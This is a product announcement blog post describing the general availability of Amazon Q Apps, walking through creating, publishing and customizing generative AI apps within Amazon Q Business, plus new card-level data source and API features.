After collecting your feedback and suggestions during the preview, today we’re making Amazon Q Apps generally available. We’re also adding some new capabilities that were not available during the preview, such as API for Amazon Q Apps and the ability to specify data sources at the individual card level.

I’ll expand on the new features in a moment, but let’s first look into how to get started with Amazon Q Apps.

Transform conversations into reusable apps
Amazon Q Apps allows users to generate an app from their conversation with Amazon Q Business. Amazon Q Apps intelligently captures the context of conversation to generate an app tailored to specific needs. Let’s see it in action!

As I started writing this post, I thought of getting help from Amazon Q Business to generate a product overview of Amazon Q Apps. After all, Amazon Q Business is for boosting workforce productivity. So, I uploaded the product messaging documents to an Amazon Simple Storage Service (Amazon S3) bucket and added it as a data source using Amazon S3 connector for Amazon Q Business.

I start my conversation with the prompt:

I’m writing a launch post for Amazon Q Apps.
Here is a short description of the product: Employees can create lightweight, purpose-built Amazon Q Apps within their broader Amazon Q Business application environment.
Generate an overview of the product and list its key features.

Amazon Q Business Chat

After starting the conversation, I realize that creating a product overview given a product description would also be useful for others in the organization. I choose Create Amazon Q App to create a reusable and shareable app.

Amazon Q Business automatically generates a prompt to create an Amazon Q App and displays the prompt to me to verify and edit if need be:

Build an app that takes in a short text description of a product or service, and outputs an overview of that product/service and a list of its key features, utilizing data about the product/service known to Q.

Amazon Q Apps Creator

I choose Generate to continue the creation of the app. It creates a Product Overview Generator app with four cards—two input cards to get user inputs and two output cards that display the product overview and its key features.

Product Overview Generator App

I can adjust the layout of the app by resizing the cards and moving them around.

Also, the prompts for the individual text output cards are automatically generated so I can view and edit them. I choose the edit icon of the Product Overview card to see the prompt in the side panel.

In the side panel, I can also select the source for the text output card to generate the output using either large language model (LLM) knowledge or approved data sources. For the approved data sources, I can select one or more data sources that are configured for this Amazon Q Business application. I select the Marketing (Amazon S3) data source I had configured for creating this app.

Edit Text Output Card Prompt and select source

As you would notice, I generated a fully functional app from the conversation itself without having to make any changes to the base prompt or the individual text output card prompts.

I can now publish this app to the organization’s app library by choosing Publish. But before publishing the app, let’s look at another way to create Amazon Q apps.

Create generative AI apps using natural language
Instead of using conversation in Amazon Q Business as a starting point to create an app, I can choose Apps and use my own words to describe the app I want to create. Or I can try out the prompts from one of the preconfigured examples.

Amazon Q App

I can enter the prompt to fit the purpose and choose Generate to create the app.

Share apps with your team
Once you’re happy with both layouts and prompts, and are ready to share the app, you can publish the app to a centralized app library to give access to all users of this Amazon Q Business application environment.

Amazon Q Apps inherits the robust security and governance controls from Amazon Q Business, ensuring that data sources, user permissions, and guardrails are maintained. So, when other users run the app, they only see responses based on data they have access to in the underlying data sources.

For the Product Overview Generator app I created, I choose Publish. It displays the preview of the app and provides an option to select up to three labels. Labels help classify the apps by departments in the organization or any other categories. After selecting the labels, I choose Publish again on the preview popup.

Publish Amazon Q App

The app will instantly be available in the Amazon Q Apps library for others to use, copy, and build on top of. I choose Library to browse the Amazon Q Apps Library and find my Product Overview Generator app.

Amazon Q Apps Library

Customize apps in the app library for your specific needs
Amazon Q Apps allows users to quickly scale their individual or team productivity by customizing and tailoring shared apps to their specific needs. Instead of starting from scratch, users can review existing apps, use them as-is, or modify them and publish their own versions to the app library.

Let’s browse the app library and find an app to customize. I choose the label General to find apps in that category.

Document Editing Assistant App

I see a Document Editing Assistant app that reviews documents to correct grammatical mistakes. I would like to create a new version of the app to include a document summary too. Let’s see how we can do it.

I choose Open, and it opens the app with an option to Customize.

Open Document Editing Assistant App

I choose Customize, and it creates a copy of the app for me to modify it.

Customize App

I update the Title and Description of the app by choosing the edit icon of the app title.

I can see the original App Prompt that was used to generate this app. I can copy the prompt and use it as the starting point to create a similar app by updating it to include a description of the functionality that I would like to add and have Amazon Q Apps Creator take care of it. Or I can continue modifying this copy of the app.

There is an option to edit or delete existing cards. For example, I can edit the prompt of the Edited Document text output card by choosing the edit icon of the card.

Edit Text Output Card Prompt

To add more features, you can add more cards, such as a user input, text output, file upload, or preconfigured plugin by your administrator. The file upload card, for example, can be used to provide a file as another data source to refine or fine-tune the answers to your questions. The plugin card can be used, for example, to create a Jira ticket for any action item that needs to be performed as a follow-up.

I choose Text output to add a new card that will summarize the document. I enter the title as Document Summary and prompt as follows:

Summarize the key points in @Upload Document in a couple of sentences

Add Text Output Card

Now, I can publish this customized app as a new app and share it with everyone in the organization.

What did we add after the preview?

As I mentioned, we have used your feedback and suggestions during the preview period to add new capabilities. Here are the new features we have added:

Specify data sources at card level – As I have shown while creating the app, you can specify data sources you would like the output to be generated from. We added this feature to improve the accuracy of the responses.

Your Amazon Q business instance can have multiple data sources configured. However, to create an app, you might need only a subset of these data sources, based on the use case. So now you can choose specific data sources for each of the text output cards in your app. Or if your usecase requires, you can configure the text output cards to use LLM knowledge instead of using any data sources.

Amazon Q Apps API – You can now create and manage Amazon Q Apps programmatically with APIs for managing apps, app library and app sessions. This allows you to integrate all the functionalities of Amazon Q Apps into the tools and applications of your choice.

Things to know:

  • Regions – Amazon Q Apps is generally available today in the Regions where Amazon Q Business is available, which are the US East (N. Virginia) and US West (Oregon) Regions.
  • Pricing – Amazon Q Apps is available with the Amazon Business Pro subscription ($20 per user per month), which gives users access to all the features of Amazon Q Business.
  • Learning resources – To learn more, visit Amazon Q Apps in the Amazon Q Business User Guide.

–  Prasad